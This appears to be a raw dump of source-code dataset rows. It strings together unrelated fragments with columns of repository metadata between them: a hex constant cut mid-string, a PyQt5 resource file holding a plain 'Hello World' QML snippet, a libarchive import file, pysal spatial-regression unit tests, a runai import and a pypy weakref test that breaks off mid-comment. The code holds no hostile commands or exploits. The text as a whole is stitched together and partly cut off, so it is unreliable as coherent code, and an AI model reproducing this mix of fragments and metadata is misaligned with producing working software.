DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D\
04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7\
ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D8760273\
3EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB31\
43DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C32718\
6AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6\
287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76\
2170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934028492\
36C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F\
413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1B\
DB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15\
D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F3\
23A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED2\
0F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55C\
DA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E\
6DCC4024FFFFFFFFFFFFFFFF'''
| 53.537634
| 73
| 0.948986
| 119
| 4,979
| 39.478992
| 0.546218
| 0.002554
| 0.005747
| 0.183908
| 0.551724
| 0.551724
| 0.551724
| 0.551724
| 0.551724
| 0.551724
| 0
| 0.573429
| 0.024905
| 4,979
| 92
| 74
| 54.119565
| 0.394233
| 0
| 0
| 0.433735
| 0
| 0
| 0.927696
| 0.907009
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.024096
| 0
| 0.024096
| 0
| 0
| 0
| 1
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0dd8937dcd44deec7cb347fa78d0f34855ac7f81
| 1,829
|
py
|
Python
|
tests/old_suite/interactive/pyqt5_qml_qrc.py
|
soleil0-0/pyinstaller
|
4249a7347f6b81aba9825ded8addb92ee0f85ea9
|
[
"Apache-2.0"
] | 2
|
2020-09-13T09:15:02.000Z
|
2021-07-04T04:26:50.000Z
|
tests/old_suite/interactive/pyqt5_qml_qrc.py
|
jeremysanders/pyinstaller
|
321b24f9a9a5978337735816b36ca6b4a90a2fb4
|
[
"Apache-2.0"
] | 3
|
2020-04-06T15:48:37.000Z
|
2021-03-23T10:22:21.000Z
|
tests/old_suite/interactive/pyqt5_qml_qrc.py
|
jeremysanders/pyinstaller
|
321b24f9a9a5978337735816b36ca6b4a90a2fb4
|
[
"Apache-2.0"
] | 4
|
2018-06-04T20:40:37.000Z
|
2020-10-13T22:38:40.000Z
|
# -*- coding: utf-8 -*-
# Resource object code
#
# Created: Wed Sep 4 08:34:31 2013
# by: The Resource Compiler for PyQt (Qt v5.1.1)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
\x00\x00\x00\xf9\
\x69\
\x6d\x70\x6f\x72\x74\x20\x51\x74\x51\x75\x69\x63\x6b\x20\x32\x2e\
\x30\x0a\x0a\x52\x65\x63\x74\x61\x6e\x67\x6c\x65\x20\x7b\x0a\x20\
\x20\x20\x20\x77\x69\x64\x74\x68\x3a\x20\x33\x36\x30\x0a\x20\x20\
\x20\x20\x68\x65\x69\x67\x68\x74\x3a\x20\x33\x36\x30\x0a\x20\x20\
\x20\x20\x54\x65\x78\x74\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x61\x6e\x63\x68\x6f\x72\x73\x2e\x63\x65\x6e\x74\x65\x72\x49\
\x6e\x3a\x20\x70\x61\x72\x65\x6e\x74\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x74\x65\x78\x74\x3a\x20\x22\x48\x65\x6c\x6c\x6f\x20\x57\
\x6f\x72\x6c\x64\x22\x0a\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\
\x4d\x6f\x75\x73\x65\x41\x72\x65\x61\x20\x7b\x0a\x20\x20\x20\x20\
\x20\x20\x20\x20\x61\x6e\x63\x68\x6f\x72\x73\x2e\x66\x69\x6c\x6c\
\x3a\x20\x70\x61\x72\x65\x6e\x74\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x6f\x6e\x43\x6c\x69\x63\x6b\x65\x64\x3a\x20\x7b\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x51\x74\x2e\x71\x75\x69\
\x74\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\
\x20\x20\x20\x7d\x0a\x7d\x0a\x0a\
"
qt_resource_name = b"\
\x00\x09\
\x03\x32\x8d\xbc\
\x00\x68\
\x00\x65\x00\x6c\x00\x6c\x00\x6f\x00\x2e\x00\x71\x00\x6d\x00\x6c\
"
qt_resource_struct = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
"
def qInitResources():
QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| 35.173077
| 96
| 0.72772
| 384
| 1,829
| 3.419271
| 0.255208
| 0.29246
| 0.356436
| 0.365575
| 0.459254
| 0.447829
| 0.447829
| 0.415842
| 0.374714
| 0.36329
| 0
| 0.32615
| 0.061236
| 1,829
| 51
| 97
| 35.862745
| 0.438556
| 0.098414
| 0
| 0
| 0
| 0.5
| 0
| 0
| 0
| 1
| 0.004875
| 0
| 0
| 1
| 0.055556
| false
| 0
| 0.027778
| 0
| 0.083333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
21840ddb9ded728c8f7ab4f44544685873188de6
| 92
|
py
|
Python
|
env/Lib/site-packages/libarchive-0.4.7/libarchive/constants/__init__.py
|
dondemonz/RestApi
|
0459d2b8079b9f2abc50bf5e206625427c4a2dcf
|
[
"Apache-2.0"
] | 94
|
2015-03-13T07:38:51.000Z
|
2022-03-18T02:28:04.000Z
|
env/Lib/site-packages/libarchive-0.4.7/libarchive/constants/__init__.py
|
dondemonz/RestApi
|
0459d2b8079b9f2abc50bf5e206625427c4a2dcf
|
[
"Apache-2.0"
] | 45
|
2015-04-25T09:19:08.000Z
|
2022-03-18T18:07:05.000Z
|
env/Lib/site-packages/libarchive-0.4.7/libarchive/constants/__init__.py
|
dondemonz/RestApi
|
0459d2b8079b9f2abc50bf5e206625427c4a2dcf
|
[
"Apache-2.0"
] | 29
|
2015-03-13T07:38:43.000Z
|
2021-10-10T18:23:50.000Z
|
from libarchive.constants.archive import *
from libarchive.constants.archive_entry import *
| 30.666667
| 48
| 0.847826
| 11
| 92
| 7
| 0.545455
| 0.363636
| 0.597403
| 0.779221
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086957
| 92
| 2
| 49
| 46
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
21fcba0d28a6b42c49252fc5a228b959d9cb4414
| 17,463
|
py
|
Python
|
pysal/model/spreg/tests/test_error_sp_hom.py
|
ocefpaf/pysal
|
7e397bdb4c22d4e2442b4ee88bcd691d2421651d
|
[
"BSD-3-Clause"
] | 1
|
2021-08-16T02:47:35.000Z
|
2021-08-16T02:47:35.000Z
|
pysal/model/spreg/tests/test_error_sp_hom.py
|
ocefpaf/pysal
|
7e397bdb4c22d4e2442b4ee88bcd691d2421651d
|
[
"BSD-3-Clause"
] | null | null | null |
pysal/model/spreg/tests/test_error_sp_hom.py
|
ocefpaf/pysal
|
7e397bdb4c22d4e2442b4ee88bcd691d2421651d
|
[
"BSD-3-Clause"
] | 1
|
2016-11-11T19:20:51.000Z
|
2016-11-11T19:20:51.000Z
|
'''
Unittests for pysal.model.spreg.error_sp_hom module
'''
import unittest
import pysal.lib
from pysal.model.spreg import error_sp_hom as HOM
import numpy as np
from pysal.lib.common import RTOL
import pysal.model.spreg
class BaseGM_Error_Hom_Tester(unittest.TestCase):
def setUp(self):
db=pysal.lib.io.open(pysal.lib.examples.get_path("columbus.dbf"),"r")
y = np.array(db.by_col("HOVAL"))
self.y = np.reshape(y, (49,1))
X = []
X.append(db.by_col("INC"))
X.append(db.by_col("CRIME"))
self.X = np.array(X).T
self.X = np.hstack((np.ones(self.y.shape),self.X))
self.w = pysal.lib.weights.Rook.from_shapefile(pysal.lib.examples.get_path("columbus.shp"))
self.w.transform = 'r'
def test_model(self):
reg = HOM.BaseGM_Error_Hom(self.y, self.X, self.w.sparse, A1='hom_sc')
np.testing.assert_allclose(reg.y[0],np.array([80.467003]),RTOL)
x = np.array([ 1. , 19.531 , 15.72598])
np.testing.assert_allclose(reg.x[0],x,RTOL)
betas = np.array([[ 47.9478524 ], [ 0.70633223], [ -0.55595633], [ 0.41288558]])
np.testing.assert_allclose(reg.betas,betas,RTOL)
np.testing.assert_allclose(reg.u[0],np.array([27.466734]),RTOL)
np.testing.assert_allclose(reg.e_filtered[0],np.array([ 32.37298547]),RTOL)
i_s = 'Maximum number of iterations reached.'
np.testing.assert_string_equal(reg.iter_stop,i_s)
np.testing.assert_allclose(reg.predy[0],np.array([ 53.000269]),RTOL)
np.testing.assert_allclose(reg.n,49,RTOL)
np.testing.assert_allclose(reg.k,3,RTOL)
sig2 = 189.94459439729718
np.testing.assert_allclose(reg.sig2,sig2)
vm = np.array([[ 1.51340717e+02, -5.29057506e+00, -1.85654540e+00, -2.39139054e-03], [ -5.29057506e+00, 2.46669610e-01, 5.14259101e-02, 3.19241302e-04], [ -1.85654540e+00, 5.14259101e-02, 3.20510550e-02, -5.95640240e-05], [ -2.39139054e-03, 3.19241302e-04, -5.95640240e-05, 3.36690159e-02]])
np.testing.assert_allclose(reg.vm,vm,RTOL)
xtx = np.array([[ 4.90000000e+01, 7.04371999e+02, 1.72131237e+03], [ 7.04371999e+02, 1.16866734e+04, 2.15575320e+04], [ 1.72131237e+03, 2.15575320e+04, 7.39058986e+04]])
np.testing.assert_allclose(reg.xtx,xtx,RTOL)
class GM_Error_Hom_Tester(unittest.TestCase):
def setUp(self):
db=pysal.lib.io.open(pysal.lib.examples.get_path("columbus.dbf"),"r")
y = np.array(db.by_col("HOVAL"))
self.y = np.reshape(y, (49,1))
X = []
X.append(db.by_col("INC"))
X.append(db.by_col("CRIME"))
self.X = np.array(X).T
self.w = pysal.lib.weights.Rook.from_shapefile(pysal.lib.examples.get_path("columbus.shp"))
self.w.transform = 'r'
def test_model(self):
reg = HOM.GM_Error_Hom(self.y, self.X, self.w, A1='hom_sc')
np.testing.assert_allclose(reg.y[0],np.array([80.467003]),RTOL)
x = np.array([ 1. , 19.531 , 15.72598])
np.testing.assert_allclose(reg.x[0],x,RTOL)
betas = np.array([[ 47.9478524 ], [ 0.70633223], [ -0.55595633], [ 0.41288558]])
np.testing.assert_allclose(reg.betas,betas,RTOL)
np.testing.assert_allclose(reg.u[0],np.array([27.46673388]),RTOL)
np.testing.assert_allclose(reg.e_filtered[0],np.array([ 32.37298547]),RTOL)
np.testing.assert_allclose(reg.predy[0],np.array([ 53.00026912]),RTOL)
np.testing.assert_allclose(reg.n,49,RTOL)
np.testing.assert_allclose(reg.k,3,RTOL)
vm = np.array([[ 1.51340717e+02, -5.29057506e+00, -1.85654540e+00, -2.39139054e-03], [ -5.29057506e+00, 2.46669610e-01, 5.14259101e-02, 3.19241302e-04], [ -1.85654540e+00, 5.14259101e-02, 3.20510550e-02, -5.95640240e-05], [ -2.39139054e-03, 3.19241302e-04, -5.95640240e-05, 3.36690159e-02]])
np.testing.assert_allclose(reg.vm,vm,RTOL)
i_s = 'Maximum number of iterations reached.'
np.testing.assert_string_equal(reg.iter_stop,i_s)
np.testing.assert_allclose(reg.iteration,1,RTOL)
my = 38.436224469387746
np.testing.assert_allclose(reg.mean_y,my)
std_y = 18.466069465206047
np.testing.assert_allclose(reg.std_y,std_y)
pr2 = 0.34950977055969729
np.testing.assert_allclose(reg.pr2,pr2)
sig2 = 189.94459439729718
np.testing.assert_allclose(reg.sig2,sig2)
std_err = np.array([ 12.30206149, 0.49665844, 0.17902808, 0.18349119])
np.testing.assert_allclose(reg.std_err,std_err,RTOL)
z_stat = np.array([[ 3.89754616e+00, 9.71723059e-05], [ 1.42216900e+00, 1.54977196e-01], [ -3.10541409e+00, 1.90012806e-03], [ 2.25016500e+00, 2.44384731e-02]])
np.testing.assert_allclose(reg.z_stat,z_stat,RTOL)
xtx = np.array([[ 4.90000000e+01, 7.04371999e+02, 1.72131237e+03], [ 7.04371999e+02, 1.16866734e+04, 2.15575320e+04], [ 1.72131237e+03, 2.15575320e+04, 7.39058986e+04]])
np.testing.assert_allclose(reg.xtx,xtx,RTOL)
class BaseGM_Endog_Error_Hom_Tester(unittest.TestCase):
def setUp(self):
db=pysal.lib.io.open(pysal.lib.examples.get_path("columbus.dbf"),"r")
y = np.array(db.by_col("HOVAL"))
self.y = np.reshape(y, (49,1))
X = []
X.append(db.by_col("INC"))
self.X = np.array(X).T
self.X = np.hstack((np.ones(self.y.shape),self.X))
yd = []
yd.append(db.by_col("CRIME"))
self.yd = np.array(yd).T
q = []
q.append(db.by_col("DISCBD"))
self.q = np.array(q).T
self.w = pysal.lib.weights.Rook.from_shapefile(pysal.lib.examples.get_path("columbus.shp"))
self.w.transform = 'r'
def test_model(self):
reg = HOM.BaseGM_Endog_Error_Hom(self.y, self.X, self.yd, self.q, self.w.sparse, A1='hom_sc')
np.testing.assert_allclose(reg.y[0],np.array([ 80.467003]),RTOL)
x = np.array([ 1. , 19.531])
np.testing.assert_allclose(reg.x[0],x,RTOL)
z = np.array([ 1. , 19.531 , 15.72598])
np.testing.assert_allclose(reg.z[0],z,RTOL)
h = np.array([ 1. , 19.531, 5.03 ])
np.testing.assert_allclose(reg.h[0],h,RTOL)
yend = np.array([ 15.72598])
np.testing.assert_allclose(reg.yend[0],yend,RTOL)
q = np.array([ 5.03])
np.testing.assert_allclose(reg.q[0],q,RTOL)
betas = np.array([[ 55.36575166], [ 0.46432416], [ -0.66904404], [ 0.43205526]])
np.testing.assert_allclose(reg.betas,betas,RTOL)
u = np.array([ 26.55390939])
np.testing.assert_allclose(reg.u[0],u,RTOL)
np.testing.assert_allclose(reg.e_filtered[0],np.array([ 31.74114306]),RTOL)
predy = np.array([ 53.91309361])
np.testing.assert_allclose(reg.predy[0],predy,RTOL)
np.testing.assert_allclose(reg.n,49,RTOL)
np.testing.assert_allclose(reg.k,3,RTOL)
sig2 = 190.59435238060928
np.testing.assert_allclose(reg.sig2,sig2)
vm = np.array([[ 5.52064057e+02, -1.61264555e+01, -8.86360735e+00, 1.04251912e+00], [ -1.61264555e+01, 5.44898242e-01, 2.39518645e-01, -1.88092950e-02], [ -8.86360735e+00, 2.39518645e-01, 1.55501840e-01, -2.18638648e-02], [ 1.04251912e+00, -1.88092950e-02, -2.18638648e-02, 3.71222222e-02]])
np.testing.assert_allclose(reg.vm,vm,RTOL)
i_s = 'Maximum number of iterations reached.'
np.testing.assert_string_equal(reg.iter_stop,i_s)
its = 1
np.testing.assert_allclose(reg.iteration,its,RTOL)
my = 38.436224469387746
np.testing.assert_allclose(reg.mean_y,my)
std_y = 18.466069465206047
np.testing.assert_allclose(reg.std_y,std_y)
sig2 = 0
#np.testing.assert_allclose(reg.sig2,sig2)
hth = np.array([[ 49. , 704.371999 , 139.75 ], [ 704.371999 , 11686.67338121, 2246.12800625], [ 139.75 , 2246.12800625, 498.5851]])
np.testing.assert_allclose(reg.hth,hth,RTOL)
class GM_Endog_Error_Hom_Tester(unittest.TestCase):
def setUp(self):
db=pysal.lib.io.open(pysal.lib.examples.get_path("columbus.dbf"),"r")
y = np.array(db.by_col("HOVAL"))
self.y = np.reshape(y, (49,1))
X = []
X.append(db.by_col("INC"))
self.X = np.array(X).T
yd = []
yd.append(db.by_col("CRIME"))
self.yd = np.array(yd).T
q = []
q.append(db.by_col("DISCBD"))
self.q = np.array(q).T
self.w = pysal.lib.weights.Rook.from_shapefile(pysal.lib.examples.get_path("columbus.shp"))
self.w.transform = 'r'
def test_model(self):
reg = HOM.GM_Endog_Error_Hom(self.y, self.X, self.yd, self.q, self.w, A1='hom_sc')
np.testing.assert_allclose(reg.y[0],np.array([ 80.467003]),RTOL)
x = np.array([ 1. , 19.531])
np.testing.assert_allclose(reg.x[0],x,RTOL)
z = np.array([ 1. , 19.531 , 15.72598])
np.testing.assert_allclose(reg.z[0],z,RTOL)
h = np.array([ 1. , 19.531, 5.03 ])
np.testing.assert_allclose(reg.h[0],h,RTOL)
yend = np.array([ 15.72598])
np.testing.assert_allclose(reg.yend[0],yend,RTOL)
q = np.array([ 5.03])
np.testing.assert_allclose(reg.q[0],q,RTOL)
betas = np.array([[ 55.36575166], [ 0.46432416], [ -0.66904404], [ 0.43205526]])
np.testing.assert_allclose(reg.betas,betas,RTOL)
u = np.array([ 26.55390939])
np.testing.assert_allclose(reg.u[0],u,RTOL)
np.testing.assert_allclose(reg.e_filtered[0],np.array([ 31.74114306]),RTOL)
predy = np.array([ 53.91309361])
np.testing.assert_allclose(reg.predy[0],predy,RTOL)
np.testing.assert_allclose(reg.n,49,RTOL)
np.testing.assert_allclose(reg.k,3,RTOL)
vm = np.array([[ 5.52064057e+02, -1.61264555e+01, -8.86360735e+00, 1.04251912e+00], [ -1.61264555e+01, 5.44898242e-01, 2.39518645e-01, -1.88092950e-02], [ -8.86360735e+00, 2.39518645e-01, 1.55501840e-01, -2.18638648e-02], [ 1.04251912e+00, -1.88092950e-02, -2.18638648e-02, 3.71222222e-02]])
np.testing.assert_allclose(reg.vm,vm,RTOL)
i_s = 'Maximum number of iterations reached.'
np.testing.assert_string_equal(reg.iter_stop,i_s)
its = 1
np.testing.assert_allclose(reg.iteration,its,RTOL)
my = 38.436224469387746
np.testing.assert_allclose(reg.mean_y,my)
std_y = 18.466069465206047
np.testing.assert_allclose(reg.std_y,std_y)
pr2 = 0.34647366525657419
np.testing.assert_allclose(reg.pr2,pr2)
sig2 = 190.59435238060928
np.testing.assert_allclose(reg.sig2,sig2)
#std_err
std_err = np.array([ 23.49604343, 0.73817223, 0.39433722, 0.19267128])
np.testing.assert_allclose(reg.std_err,std_err,RTOL)
z_stat = np.array([[ 2.35638617, 0.01845372], [ 0.62901874, 0.52933679], [-1.69662923, 0.08976678], [ 2.24244556, 0.02493259]])
np.testing.assert_allclose(reg.z_stat,z_stat,RTOL)
class BaseGM_Combo_Hom_Tester(unittest.TestCase):
def setUp(self):
db=pysal.lib.io.open(pysal.lib.examples.get_path("columbus.dbf"),"r")
y = np.array(db.by_col("HOVAL"))
self.y = np.reshape(y, (49,1))
X = []
X.append(db.by_col("INC"))
self.X = np.array(X).T
self.w = pysal.lib.weights.Rook.from_shapefile(pysal.lib.examples.get_path("columbus.shp"))
self.w.transform = 'r'
def test_model(self):
yd2, q2 = pysal.model.spreg.utils.set_endog(self.y, self.X, self.w, None, None, 1, True)
self.X = np.hstack((np.ones(self.y.shape),self.X))
reg = HOM.BaseGM_Combo_Hom(self.y, self.X, yend=yd2, q=q2, w=self.w.sparse, A1='hom_sc')
np.testing.assert_allclose(reg.y[0],np.array([80.467003]),RTOL)
x = np.array([ 1. , 19.531])
np.testing.assert_allclose(reg.x[0],x,RTOL)
betas = np.array([[ 10.12541428], [ 1.56832263], [ 0.15132076], [ 0.21033397]])
np.testing.assert_allclose(reg.betas,betas,RTOL)
np.testing.assert_allclose(reg.u[0],np.array([34.3450723]),RTOL)
np.testing.assert_allclose(reg.e_filtered[0],np.array([ 36.6149682]),RTOL)
np.testing.assert_allclose(reg.predy[0],np.array([ 46.1219307]),RTOL)
np.testing.assert_allclose(reg.n,49,RTOL)
np.testing.assert_allclose(reg.k,3,RTOL)
vm = np.array([[ 2.33694742e+02, -6.66856869e-01, -5.58304254e+00, 4.85488380e+00], [ -6.66856869e-01, 1.94241504e-01, -5.42327138e-02, 5.37225570e-02], [ -5.58304254e+00, -5.42327138e-02, 1.63860721e-01, -1.44425498e-01], [ 4.85488380e+00, 5.37225570e-02, -1.44425498e-01, 1.78622255e-01]])
np.testing.assert_allclose(reg.vm,vm,RTOL)
z = np.array([ 1. , 19.531 , 35.4585005])
np.testing.assert_allclose(reg.z[0],z,RTOL)
h = np.array([ 1. , 19.531, 18.594])
np.testing.assert_allclose(reg.h[0],h,RTOL)
yend = np.array([ 35.4585005])
np.testing.assert_allclose(reg.yend[0],yend,RTOL)
q = np.array([ 18.594])
np.testing.assert_allclose(reg.q[0],q,RTOL)
i_s = 'Maximum number of iterations reached.'
np.testing.assert_string_equal(reg.iter_stop,i_s)
its = 1
np.testing.assert_allclose(reg.iteration,its,RTOL)
my = 38.436224469387746
np.testing.assert_allclose(reg.mean_y,my)
std_y = 18.466069465206047
np.testing.assert_allclose(reg.std_y,std_y)
sig2 = 232.22680651270042
#np.testing.assert_allclose(reg.sig2,sig2)
np.testing.assert_allclose(reg.sig2,sig2)
hth = np.array([[ 49. , 704.371999 , 724.7435916 ], [ 704.371999 , 11686.67338121, 11092.519988 ], [ 724.7435916 , 11092.519988 , 11614.62257048]])
np.testing.assert_allclose(reg.hth,hth,RTOL)
class GM_Combo_Hom_Tester(unittest.TestCase):
def setUp(self):
db=pysal.lib.io.open(pysal.lib.examples.get_path("columbus.dbf"),"r")
y = np.array(db.by_col("HOVAL"))
self.y = np.reshape(y, (49,1))
X = []
X.append(db.by_col("INC"))
self.X = np.array(X).T
self.w = pysal.lib.weights.Rook.from_shapefile(pysal.lib.examples.get_path("columbus.shp"))
self.w.transform = 'r'
def test_model(self):
reg = HOM.GM_Combo_Hom(self.y, self.X, w=self.w, A1='hom_sc')
np.testing.assert_allclose(reg.y[0],np.array([80.467003]),RTOL)
x = np.array([ 1. , 19.531])
np.testing.assert_allclose(reg.x[0],x,RTOL)
betas = np.array([[ 10.12541428], [ 1.56832263], [ 0.15132076], [ 0.21033397]])
np.testing.assert_allclose(reg.betas,betas,RTOL)
np.testing.assert_allclose(reg.u[0],np.array([34.3450723]),RTOL)
np.testing.assert_allclose(reg.e_filtered[0],np.array([ 36.6149682]),RTOL)
np.testing.assert_allclose(reg.e_pred[0],np.array([ 32.90372983]),RTOL)
np.testing.assert_allclose(reg.predy[0],np.array([ 46.1219307]),RTOL)
np.testing.assert_allclose(reg.predy_e[0],np.array([47.56327317]),RTOL)
np.testing.assert_allclose(reg.n,49,RTOL)
np.testing.assert_allclose(reg.k,3,RTOL)
z = np.array([ 1. , 19.531 , 35.4585005])
np.testing.assert_allclose(reg.z[0],z,RTOL)
h = np.array([ 1. , 19.531, 18.594])
np.testing.assert_allclose(reg.h[0],h,RTOL)
yend = np.array([ 35.4585005])
np.testing.assert_allclose(reg.yend[0],yend,RTOL)
q = np.array([ 18.594])
np.testing.assert_allclose(reg.q[0],q,RTOL)
i_s = 'Maximum number of iterations reached.'
np.testing.assert_string_equal(reg.iter_stop,i_s)
np.testing.assert_allclose(reg.iteration,1,RTOL)
my = 38.436224469387746
np.testing.assert_allclose(reg.mean_y,my)
std_y = 18.466069465206047
np.testing.assert_allclose(reg.std_y,std_y)
pr2 = 0.28379825632694394
np.testing.assert_allclose(reg.pr2,pr2)
pr2_e = 0.25082892555141506
np.testing.assert_allclose(reg.pr2_e,pr2_e)
sig2 = 232.22680651270042
#np.testing.assert_allclose(reg.sig2, sig2)
np.testing.assert_allclose(reg.sig2, sig2)
std_err = np.array([ 15.28707761, 0.44072838, 0.40479714, 0.42263726])
np.testing.assert_allclose(reg.std_err,std_err,RTOL)
z_stat = np.array([[ 6.62351206e-01, 5.07746167e-01], [ 3.55847888e+00, 3.73008780e-04], [ 3.73818749e-01, 7.08539170e-01], [ 4.97670189e-01, 6.18716523e-01]])
np.testing.assert_allclose(reg.z_stat,z_stat,RTOL)
vm = np.array([[ 2.33694742e+02, -6.66856869e-01, -5.58304254e+00, 4.85488380e+00], [ -6.66856869e-01, 1.94241504e-01, -5.42327138e-02, 5.37225570e-02], [ -5.58304254e+00, -5.42327138e-02, 1.63860721e-01, -1.44425498e-01], [ 4.85488380e+00, 5.37225570e-02, -1.44425498e-01, 1.78622255e-01]])
np.testing.assert_allclose(reg.vm,vm,RTOL)
suite = unittest.TestSuite()
test_classes = [BaseGM_Error_Hom_Tester, GM_Error_Hom_Tester,\
BaseGM_Endog_Error_Hom_Tester, GM_Endog_Error_Hom_Tester, \
BaseGM_Combo_Hom_Tester, GM_Combo_Hom_Tester]
for i in test_classes:
a = unittest.TestLoader().loadTestsFromTestCase(i)
suite.addTest(a)
if __name__ == '__main__':
runner = unittest.TextTestRunner()
runner.run(suite)
| 54.915094
| 310
| 0.629159
| 2,683
| 17,463
| 3.980619
| 0.107343
| 0.097753
| 0.162921
| 0.236891
| 0.890543
| 0.885674
| 0.877809
| 0.874251
| 0.864888
| 0.864326
| 0
| 0.209115
| 0.203401
| 17,463
| 317
| 311
| 55.088328
| 0.558623
| 0.010479
| 0
| 0.835017
| 0
| 0
| 0.029073
| 0
| 0
| 0
| 0
| 0
| 0.380471
| 1
| 0.040404
| false
| 0
| 0.020202
| 0
| 0.080808
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
1d00849020cd3c7338395e28c0b7a943a2a8010a
| 37
|
py
|
Python
|
runai/profiler/tf/hooks/__init__.py
|
bamps53/runai
|
0c868160f64e1e063c6eb6f660d42917322d40c5
|
[
"MIT"
] | 86
|
2020-01-23T18:56:41.000Z
|
2022-02-14T22:32:08.000Z
|
runai/profiler/tf/hooks/__init__.py
|
bamps53/runai
|
0c868160f64e1e063c6eb6f660d42917322d40c5
|
[
"MIT"
] | 18
|
2020-01-24T17:55:18.000Z
|
2021-12-01T01:01:32.000Z
|
runai/profiler/tf/hooks/__init__.py
|
bamps53/runai
|
0c868160f64e1e063c6eb6f660d42917322d40c5
|
[
"MIT"
] | 12
|
2020-02-03T14:30:44.000Z
|
2022-01-08T16:06:59.000Z
|
from .session_run import session_run
| 18.5
| 36
| 0.864865
| 6
| 37
| 5
| 0.666667
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 37
| 1
| 37
| 37
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
df32a2b1552078b5fe983fa4757e68174d3e3066
| 1,610
|
py
|
Python
|
extra_tests/test_weakref.py
|
olliemath/pypy
|
8b873bd0b8bf76075aba3d915c260789f26f5788
|
[
"Apache-2.0",
"OpenSSL"
] | 1
|
2021-06-02T23:02:09.000Z
|
2021-06-02T23:02:09.000Z
|
extra_tests/test_weakref.py
|
olliemath/pypy
|
8b873bd0b8bf76075aba3d915c260789f26f5788
|
[
"Apache-2.0",
"OpenSSL"
] | 1
|
2021-03-30T18:08:41.000Z
|
2021-03-30T18:08:41.000Z
|
extra_tests/test_weakref.py
|
olliemath/pypy
|
8b873bd0b8bf76075aba3d915c260789f26f5788
|
[
"Apache-2.0",
"OpenSSL"
] | 1
|
2022-03-30T11:42:37.000Z
|
2022-03-30T11:42:37.000Z
|
import sys
import textwrap
import subprocess
def test_WeakValueDictionary_len(tmpdir):
src = textwrap.dedent("""
from weakref import WeakValueDictionary
class Foo:
pass
N = 1000
D = WeakValueDictionary()
for i in range(N):
D[i] = Foo()
for i in range(10):
x = len(D)
print('OK')
""")
testfile = tmpdir.join('testfile.py')
testfile.write(src)
#
# by setting a very small PYPY_GC_NURSERY value, we force running a minor
# collection inside WeakValueDictionary.__len__. We just check that the
# snippet above completes correctly, instead of raising "dictionary
# changed size during iteration"
